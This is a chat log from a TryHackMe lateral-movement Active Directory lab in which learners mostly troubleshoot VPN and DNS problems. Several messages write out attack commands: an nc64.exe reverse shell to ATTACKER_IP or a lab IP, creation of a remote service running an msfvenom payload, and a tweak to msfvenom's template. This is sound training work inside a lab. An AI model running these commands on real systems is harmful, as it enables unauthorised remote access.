hello. i cannot ping the thmiis from the jump machine. but i could use smb to send the reverseshell there. strange. when i try runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4443" from the jump of course my attacker machine never sees anything . ok i understand ping not allowed (i get it now) but sadly the attacker machine never gets anything ๐Ÿ™ i will do it again later but i wonder if someone had the issue and maybe i have done something stupid which explains. but i dont understand ๐Ÿ˜„ have a nice day

fresh sinew
#

anybody else getting a restart pause loop every 2s with a sigint soft, connection-reset restart?

#

this vpn and this room is janky

brisk mulch
#

Does anyone having same problem as me?

c:\Users\t1_leonard.summers\Desktop>whoami
whoami
nt authority\system

c:\Users\t1_leonard.summers\Desktop>FLAG.exe
FLAG.exe
Sorry! You are still missing something. No flag for you yet. (6)
odd sequoia
#

Doing ExploitingAD now, and the VPN is not connected. Firefox, using AttackBox. I was able to do both Breaching AD and Enumerating AD earlier today without issue, now it's not connecting. Is there some sort of limit per day? Second day where working on this hits a stopping point from the VPN not functioning properly

real latchBOT
#

@odd sequoia Please slow down. Further spam will result in a short timeout.

odd sequoia
fading wolf
#

I cannot connect to the vpn is there a problem?

tulip verge
#

Anyone got any ideas why my service doesn't start at the end of task 3? I've tried several times now on different days using different filenames for the payload and different service names but it just doesn't want to start. I have tried copying and pasting the command line for creating the payload in msfvenom and typing it in manually just to make sure that's right and I can see the .exe in %windir%

โจ```
C:\Windows\system32>sc.exe \thmiis.za.tryhackme.com create THMservice-4545 binPath= "%windir%\candyservice.exe" start= auto
sc.exe \thmiis.za.tryhackme.com create THMservice-4545 binPath= "%windir%\candyservice.exe" start= auto
[SC] CreateService SUCCESS

C:\Windows\system32>sc.exe \thmiis.za.tryhackme.com start THMservice-4545
sc.exe \thmiis.za.tryhackme.com start THMservice-4545
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.

tulip verge
fading wolf
#

i can't connect to the vpn.. somebody any idea what i can try?

tulip verge
#

@thick monolith try rebuilding any payloads as x64. That worked for me to start the service and get the connection but then it still wouldn't let me run the flag.exe ๐Ÿ˜•

fading wolf
#

its the VPN file of the Network

stray wing
#

Hi @thick monolith , thank you for the Linux OpenVPN guide. I am currently working on Windows and I am unable to establish a VPN connection โ€” the connection times out. Do you have any advice or Windows-specific considerations I should be aware of?

tulip verge
#

Thanks for the video. Strange that he gets the flag as local system when I'm connected as the same account via Metasploit via the malicious service. I can't see anything I did differently other than using a 64-bit payload. Maybe I'll just give it another try later in the week. Hope you manage to get somewhere with it.

honest steppeBOT
#

Gave +1 Rep to @thick monolith (current: #1051 - 6)

fading wolf
#

i got it now i had to regenerate the VPN a few times but now it works ๐Ÿ™‚

honest steppeBOT
#

Gave +1 Rep to @thick monolith (current: #944 - 7)

tulip verge
#

I'm still stumped on the very end of Task 3. I can get all the way there following the guide (although I have to generate a 64-bit payload to get it to run) but I get the service running as Local System to connect back to my msfconsole, I run flag.exe and just always get "Sorry! You are still missing something. No flag for you yet. (7)"

Any advice?

north fern
#

Hi i have an issue where i want to connect the vpn lateral movement and pivoting room but get this failed connection refused and restart. even after redownloading a new OVPN file, it still persists. is there any other step did i miss?

north fern
tawdry stream
# tulip verge Yes! Did you ever resolve it?

have you solved the problem i too get the same problem now i also needed 64 bit payload to get it to run and after all the shit this room made me debug through and now its saying "Sorry! You are still missing something. No flag for you yet. (7)"

tulip verge
tawdry stream
#

After starting the malicious service, it runs under rundll32.exe which is acc to chatgpt is checked by flag.txt and flag.txt expects the structure
service.exe
__ malsvc.exe
__ cmd.exe
But the actual structure is
service.exe
__ malsvc.exe
__ rundll32.exe
__ cmd.exe
So we fail the check and get that error I don't know if this this is the actual reason, also walkthroughs run the same commands but don't get the error, why is that. I think because they are pretty old when the environment was different from now and with that previous environment in mind that flag could've been created, now the environment changed the flag is failing, it is definitely not our fault. I wonder if it is fault of msfvenom payload generation.

tawdry stream
# tulip verge No, there didn't seem to be any support and I couldn't figure it out on my own (...

i solved the structure problem by modifying msfvenom exe-service default template removing the call of rundll32.exe and using that modified template as a custom template using option -x in msfvenom itself and that made my service run directly under service.exe removing the middleman rundll32.exe which was spawned by msfconsole default template. now i got another problem to solve i don't what i missed "Sorry! You are still missing something. No flag for you yet. (6)" from 7 to 6 the numbers are decreasing.

feral fern
#

This room is 100% bugged on Task 3.

#

own machine nor the attack box works

#

my own machine can't resolve the name of the account in the runas command (for some reason ?) and my attackbox simply don't want to accept the revershell at all with nc

#

I followed the room step by step and nothing works

#

tried 3 different walkthough ? nothing

#

tried looking in here for hours and everyone is complaining about the DNS having issue while in other networks i had no issues with that

feral fern
#

Am I missing something ?

tawdry stream
feral fern
feral fern
#

this room is even more bugged now with the new attackbox

wanton stream
#

anyone having trouble with DNS on mac os? tried to go Settings > Wi-Fi > my network > DNS, and appended at the end the IP of the domain controller. Yet, won't let me get the credentials. Tried also adding nameserver $THMDC_IP to /etc/resolver/za.tryhackme.com. Nothing again. Is it really bugged out?

thorny oasis
#

Hey all,

I'm trying to complete this room, but it seems since a couple of days the network doesn't start at all for me anymore. Just stays in the loading state cycling through the different messages forever (I left it open for hours). Tried different days, different browsers, but didn't help. Also cannot click on Request Reset or anything since it's all blocked in the loading state.

Is anybody else seeing this?

hasty zinc
hasty zinc
#

It's been five days trying to do the complex exploit in task 7 and it doesn't seem to be responsive, box may need to be reset

mossy hull
# feral fern Am I missing something ?

It was the wrong account:
za\t1_leonard.summers@THMJMP2 C:\Users\t1_leonard.summers>runas /netonly /user:za.tryhackme.com\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe 10.150.74.11 7676"

mossy hull
#

@feral fern
Nope, I was wrong too ๐Ÿ™‚
The impersonation of t1_leonhard.summers is only for remote, but nc64.exe is local. So, whoami don't helps here. But you can test your evelate privs in the new reverse shell, if you try with bradley.cook to access to a resource, he hasn't access to: dir \\thmiis.za.tryhackme.com\admin$ you can see the share, that only andmins can see

upper ruin
#

Is this room broken? Half the time the given credentials don't work, and even when they do, I can't get to the flag. I've been spending full days on a task that's supposed to take 45 minutes

#

I try to complete these things "with honor" but I'm tempted to just plug in the flags from walkthroughs. I'm 96% of the way through the Pentest+ course and this room is the main thing keeping me from 100%

sullen crypt
#

I need some help. I am stuck on the falicia dean part and I am about to swear at someone

lost tinsel
#

first

#

but needing help in the task 3 for the first rev shell with runas

#

it doesn't really give anything other than

rose kernel
lost tinsel
#

oh ffs

rose kernel
#

Can you run ifconfig? Just note I'm guessing here

lost tinsel
#

yeah, it's me getting them mixed up

#

got it

#

mixed the 2 ips together

#

so the fix of the ip helped ๐Ÿ˜„

rose kernel
# lost tinsel so the fix of the ip helped ๐Ÿ˜„

Ah okay perfect! It was a shot in the dark but glad it worked out! Yeah so for reverse shells it should be that VPN IP which translates to the IP corresponding to the Gateway. For bind shells it will be the actual IP of the host which will correspond to the Destination of the route -n command

shadow linden
#

I need to move the note on how to select the right IP for revshells. Will do in a minute ๐Ÿ˜€

lost tinsel
#

also for some reason we get access denied now

#

even though 5 minutes ago I was able to do it

rose kernel
#

What users are you running as on that terminal?

lost tinsel
#

t1_leonard.summers

rose kernel
#

Mmm, t1 users should have full permissions on servers. Can you run dir \\thmiis.za.tryhackme.com\c$ and see if that works?

lost tinsel
#

The network path was not found

rose kernel
#

Just check I made a typo, should be IIS, not ISS

lost tinsel
#

"The user name or password is incorrect"

rose kernel
#

Ahh, so yeah creds no work

#

You sure you typed that password correctly for the runas command?

lost tinsel
#

thought it would give error on the run as

#

but oh well

#

fixed

#

lol

rose kernel
#

You can always verify creds by running dir \\za.tryhackme.com\sysvol

lost tinsel
#

it doesn't go well for me today

rose kernel
# lost tinsel thought it would give error on the run as

That's is the magic of the runas command if you run it with /netonly flag. It was discussed in the Enumerating AD (Task 2) room ๐Ÿ™‚ You can specify whatever creds you want, it won't test them against the domain. So great when it works, but yeah, you need to do a quick check on the creds with something like sysvol.

latent owl
#

๐Ÿฅณ

lost tinsel
#

@shadow linden where is PsExec64.exe laying on the jmp2 since I can't find it in C:\windows\system32

shadow linden
#

It should be on c:\tools

lost tinsel
#

thanks for the nice room @shadow linden

honest steppeBOT
#

Gave +1 Rep to @shadow linden

lost tinsel
#

though a little irritating you have to restart your dns for every task, it happened for me ๐Ÿ˜„

shadow linden
#

That's weird... Are you using the attackbox?

lost tinsel
#

Yeah

#

After every task it couldn't resolve the host names

shadow linden
#

I'll take a look at that. Thx for the feedback ๐Ÿ˜€

lost tinsel
#

You're welcome, also give a pointer that the psexec tool is in c:\tools can help some people

high ridge
# shadow linden I'll take a look at that. Thx for the feedback ๐Ÿ˜€

I wanna say something
Last week I was doing your brand new windows privilege escalation room, which was revamped I guess,
It was so beautifully written, coordinated, I was happy reading them all and going through it, following up,
Passing by each task I felt accomplished and learnt a lot, it looked like straight out of the notes (If I would had to make it) I'm in love with it absolutely. I'm gonna do every other room by you soon. Especially the new one (lateral movement network).

#

Much love

toxic harness
#

I can't seem to download the ovpn config file for this network, I've tried leaving and rejoining the room and waited for a while but the the access page just gives a 404 not found error whenever I try to download it, any help would be appreciated.

feral granite
#

Probably a good idea to give them the subnet you're on.

#

They seem to ask for it every time I think anyone has a 404 error.

toxic harness
#

the network is on 10.200.77.x , it just reset but no difference

feral granite
#

Yeah, I'm on the same network and I can't download it either, 10.200.77.101

frail ore
#

Forwarded on ^

#

Will let you know when I hear something

frail ore
#

should be fixed @feral granite @toxic harness

toxic harness
#

yeh, it works + @frail ore

honest steppeBOT
#

Gave +1 Rep to @frail ore

frail ore
#

๐Ÿ’ช ๐ŸŽ‰

lost tinsel
arctic stream
#

Have issue with accessing machines on the network, seems like vpn connection is good. Network is 10.200.78.X

lost tinsel
#

what issue are you getting, can you ping 10.200.78.101?

arctic stream
#

Nop, that's the problem

#

The whole network is out of access

lost tinsel
#

can you send a screenshot of your ip a

arctic stream
lost tinsel
#

and what the VPN is saying

arctic stream
#

Connectivity to the router is fine, let's just wait for the staff, no hurry it's Sunday ๐Ÿฅณ

lost tinsel
#

as in the latest windows networks

arctic stream
#

Maybe, i still have access to the "Enumerating-AD" network

lost tinsel
#

I have experienced problems with routing cause of joining multiple networks, try leaving the enumerating-ad

#

and then download a new vpn

arctic stream
#

Still doesn't work, thank you Bella for the effort

feral granite
honest steppeBOT
#

Gave +1 Rep to @frail ore

gentle bough
#

I have lateral movement vpn active. Also green indicator at Access => Networks page but IP address of AD server can't be reached. Any suggestions?

lost tinsel
#

What's your ip range?

gentle bough
#

10.50.78.3/24

lost tinsel
#

And the servers ips?

gentle bough
#

10.200.79.0/24 .101 is THMDC

lost tinsel
#

hmm @shadow linden

shadow linden
#

If you just started the network, give it a min or two. The DC is always the last to start

shadow linden
honest steppeBOT
#

Gave +1 Rep to @high ridge

gentle bough
#

10.50.78.1 still gives destination host unreachable for 10.200.79.101 AD server but also the .201 and .249

#

I think something wrong, network is up 35 minutes and still server of 10.200.79.0/24 accessible via 10.50.78.1 gateway.

#

Will give it another try some other time.

shadow linden
#

Let me check that.

feral granite
#

I still can't download the VPN, no rush though. A Regen fixed it.

rough snow
#

Can someone please reset .71 network!

#

It's borked

frail ore
rough snow
frail ore
#

Just double-checking (: I've passed it on

rough snow
#

I appreciate that, I had a 2nd confirmation that it isn't me.

feral granite
#

I had to move the lines to double check the number now ๐Ÿ˜‚

#

~~ I can't reach the servers. ~~ Never mind, the network wasn't started ๐Ÿ˜‚

#

I'm quitting while I'm ahead.

cerulean ridge
#

Me too I seem not to be able to reach anything on the 10.200.80.0/24 net (network is started :))

feral granite
cerulean ridge
#

I'm using attackbox

nameserver 127.0.0.53
options edns0
search eu-west-1.compute.internal
feral granite
#

change the nameserver to whatever your subnet is.

#

so it it's like mine, it will be 10.200.77.101

#

It should fix it.

rough snow
#
root@kali:~/tryhackme/LateralWin# cat /etc/resolv.conf
# Generated by NetworkManager
search localdomain
nameserver 10.200.71.101
root@kali:~/tryhackme/LateralWin# cat /etc/systemd/resolved.conf
#  This file is part of systemd.
#
#  systemd is free software; you can redistribute it and/or modify it under the
#  terms of the GNU Lesser General Public License as published by the Free
#  Software Foundation; either version 2.1 of the License, or (at your option)
#  any later version.
#
# Entries in this file show the compile time defaults. Local configuration
# should be created by either modifying this file, or by creating "drop-ins" in
# the resolved.conf.d/ subdirectory. The latter is generally recommended.
# Defaults can be restored by simply deleting this file and all drop-ins.
#
# Use 'systemd-analyze cat-config systemd/resolved.conf' to display the full config.
#
# See resolved.conf(5) for details.

[Resolve]
# Some examples of DNS servers which may be used for DNS= and FallbackDNS=:
# Cloudflare: 1.1.1.1#cloudflare-dns.com 1.0.0.1#cloudflare-dns.com 2606:4700:4700::1111#cloudflare-dns.com 2606:4700:4700::1001#cloudflare-dns.com
# Google:     8.8.8.8#dns.google 8.8.4.4#dns.google 2001:4860:4860::8888#dns.google 2001:4860:4860::8844#dns.google
# Quad9:      9.9.9.9#dns.quad9.net 149.112.112.112#dns.quad9.net 2620:fe::fe#dns.quad9.net 2620:fe::9#dns.quad9.net
DNS=10.200.71.101
#FallbackDNS=
#Domains=
#DNSSEC=no
#DNSOverTLS=no
#MulticastDNS=yes
#LLMNR=yes
#Cache=yes
#CacheFromLocalhost=no
#DNSStubListener=yes
#DNSStubListenerExtra=
#ReadEtcHosts=yes
#ResolveUnicastSingleLabel=no
cerulean ridge
#

already tried without success

rough snow
cerulean ridge
#

dig thmdc.za.tryhackme.com @10.200.80.101 times out too

rose kernel
#

Please just run nmap -p 22,3389 10.200.<YourSubnet>.249 -Pn - If these ports are not open, something wrong with network

lost tinsel
#

have you tried changing /etc/systemd/resolved.conf?

rose kernel
#

Ah forgot the -Pn

lost tinsel
#

typical windows for blocking pings

rough snow
#
root@kali:~/VPNHackMe# nmap -p 22,3389 10.200.71.249 -Pn -T5
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-26 10:22 EDT
Nmap scan report for 10.200.71.249
Host is up.

PORT     STATE    SERVICE
22/tcp   filtered ssh
3389/tcp filtered ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 14.63 seconds

cerulean ridge
#
nmap -p 22,3389 10.200.80.249 -Pn

Starting Nmap 7.60 ( https://nmap.org ) at 2022-06-26 15:22 BST
Stats: 0:00:16 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 99.99% done; ETC: 15:22 (0:00:00 remaining)
Nmap scan report for 10.200.80.249
Host is up.

PORT     STATE    SERVICE
22/tcp   filtered ssh
3389/tcp filtered ms-wbt-server
feral granite
#

It worked for me without -Pn

rose kernel
rough snow
#

They are on another subnet

#

I think the whole thing needs a reborkset

feral granite
rough snow
lost tinsel
#

subnet 89 works fine

feral granite
rose kernel
rough snow
#

๐Ÿคฃ

rough snow
#

Can I use someone else's?

#

I just want to submit the damn flags.

feral granite
lost tinsel
rough snow
#

With my VPN config?

lost tinsel
#

probably not

feral granite
lost tinsel
#

I can setup a VPN for you

rough snow
#

If you don't mind @lost tinsel

#

I want to get this out of the way.

rose kernel
# feral granite

Mmm, that should not happen. Are you running on Kali or attackbox?

lost tinsel
#

nvm, I am getting a 404 when downloading ๐Ÿ˜„

rough snow
#

That's normal

#

Just regenerate.

lost tinsel
#

already did

rough snow
#

Does your VPN file work?

#

I only need it for this box

cerulean ridge
rough snow
#

@lost tinsel Nevermind, I got one!

#

I appreciate it

lost tinsel
#

fair fair, I used attackbox when going through the room

#

so didn't have a vpn going already

cerulean ridge
#

Nope 10.200.80 net still unusable maybe it can be reset (I'm vote 1/2)

cerulean ridge
#

Thank you @lost tinsel

honest steppeBOT
#

Gave +1 Rep to @lost tinsel

lost tinsel
#

give it like 10 minutes and it should be ready

rose kernel
# feral granite Kali (Own VM)

Mmm that should work. It can sometimes create issues when you try to configure DNS in multiple ways. But perhaps quickly send me your VPN file and I'll test on my side

rose kernel
feral granite
lost tinsel
#

@rough snow looks like I couldn't help you anyway with the vpn as none of mine wants to download

lost tinsel
rough snow
#

^^

cerulean ridge
honest steppeBOT
#

Gave +1 Rep to @lost tinsel

lost tinsel
rough snow
#

+rep @frail ore

honest steppeBOT
#

Gave +1 Rep to @frail ore

rough snow
#

+rep @lost tinsel

#

damn

lost tinsel
#

5min timer

frail ore
#

cooldown

#

+rep @lost tinsel

honest steppeBOT
#

Gave +1 Rep to @lost tinsel

rough snow
#

Thank you

frail ore
lost tinsel
honest steppeBOT
#

Gave +1 Rep to @frail ore

frail ore
#

Alright well the network is resetting irrespective KEKW

#

but cool cool

#

thanks(:

lost tinsel
#

I was already in the same subnet should could just give it a reset from there

pale lion
#

In the 10.200.80.x network and getting error 404 downloading the VPN file same as you lot got, also launched AttackBox in the room and it wasn't connected to the network

feral granite
pale lion
#

Launched the AttackBox twice too and same result

lost tinsel
#

(don't know if that was why, I can see that your message is a bit old)

cerulean ridge
#

sorry to bother you again but 10.200.80 is experiencing same problem as before

#

thmjmp2 not reachable - for me too error 404 downloading the network config file. I'm also noticing that the attackbox does not have the vpn interface named as the network itself but a generic tun0

shadow linden
cerulean ridge
#

You mean my personal vpn file or the network one ?

shadow linden
#

the network one

cerulean ridge
#

still 404

shadow linden
cerulean ridge
honest steppeBOT
#

Gave +1 Rep to @shadow linden

rose kernel
crystal forum
rose kernel
crystal forum
rose kernel
crystal forum
#

nope ping 10.200.75.101
PING 10.200.75.101 (10.200.75.101) 56(84) bytes of data.
From 10.50.67.1 icmp_seq=1 Destination Host Unreachable

rose kernel
#

Is the network running?

#

Try to ping 10.200.75.249?

crystal forum
#

yes the network is running and no can not ping the thmjm2 ip either

rose kernel
#

Send me your VPN file please and I'll take a look

crystal forum
toxic harness
storm charmBOT
toxic harness
#

you'll have to verify your profile

rose kernel
toxic harness
#

and that offer was for dms, I think

crystal forum
toxic harness
#

you have no roles tho

rose kernel
crystal forum
lost tinsel
#

Try reverify

crystal forum
#

uggg this network room wasn't put together very well before it was released was it I'm not able to connect to smb on //thmiis.za.tryhackme.com/admin$ all i get is session setup failed: NT_STATUS_LOGON_FAILURE โ˜น๏ธโ˜น๏ธโ˜น๏ธโ˜น๏ธ

rose kernel
# crystal forum uggg this network room wasn't put together very well before it was released was ...

With messages like that won't get support. The DNS issue I helped you with previously was the network not running, nothing more.

If I were in your shoes, since other users are able to complete the network without an issue, I would perhaps consider that I might be doing something wrong and constructively ask for help, providing as much detail as possible to have others assist you.

But if this is the way you ask for help (or just complain), I'm pretty sure you are on your own here.

As one of the creators of rooms, I'm open to taken constructive feedback and improving how we do things. Our networks are not perfect and we are constantly updating them and patching for edge cases which our rigorous QA process might have missed. But I don't think that that is a very constructive way to ask for assistance.

crystal forum
tacit vector
#

hello. my attackbox cant connect/do nslookup on the dc and i just get 404 error trying to download the vpn. not sure if its the room or on my side. restarted the attackbox plus voted to get the whole room restarted. still dont work. not sure what to do ๐Ÿค”

rose kernel
tacit vector
rose kernel
tacit vector
rose kernel
# tacit vector tried again and now it downloaded lmao

Happiness! One thing to note, users are allocated to the network and once a current network is filled up, it boots an additional network. That new network takes a bit of time to become live, so sometimes a bit more time might solve the trick if you where the unlucky (or lucky since no one else is currently on it) first person in the next network

tacit vector
tacit vector
rose kernel
tacit vector
honest steppeBOT
#

Gave +1 Rep to @rose kernel

cerulean ridge
honest steppeBOT
#

Gave +1 Rep to @rose kernel

rose kernel
# cerulean ridge Thank you: just to let you now that VPN issue is solved now. Still having issues...

Awesome! Thanks for letting me know. A quick trick with name resolution is to specify the DC IP with the nslookup command. So say for instance your THMDC IP is 10.200.24.101, you can run:

nslookup za.tryhackme.com 10.200.24.101

Remember to replace 24 with whatever your subnet on your network diagram is. If this command works, it means the DNS in the network is actually working, the issue is still on your client side (kali or attackbox) that needs to be fixed. If that command does not work, there might be an issue in the network.

honest steppeBOT
#

Gave +1 Rep to @cerulean ridge

cerulean ridge
#

Thank you @shadow linden @rose kernel and @frail ore for assistance even on Sunday. Network done ๐Ÿ™‚

honest steppeBOT
#

Gave +1 Rep to @shadow linden

drowsy flame
#

loved it

#

thanks for all this rooms

swift roost
#

i am getting i get this error when try i nslookup thmdc.za.tryhackme.com
;; connection timed out; no servers could be reached
error

#

i have made verify my vpn connect to the network by using "ip a". I have also made sure that the network is started and my dns on kali vm is set to the THMDC, i have restarted the NetworkManager. I try the "nslookup za.tryhackme.com 10.200.86.101" command and got the same error ";; connection timed out; no servers could be reached"

tacit vector
#

i now kinda get the same thing now

swift roost
#

kinda?

tacit vector
#

or i have the same issue all together

#

same on the attckbox

#

yepp

#

its back as before a bit

#

cant connect and do nslookup on the dc on my machine or the attackbox

swift roost
#

i fix it by voting to reseting the network because now it is working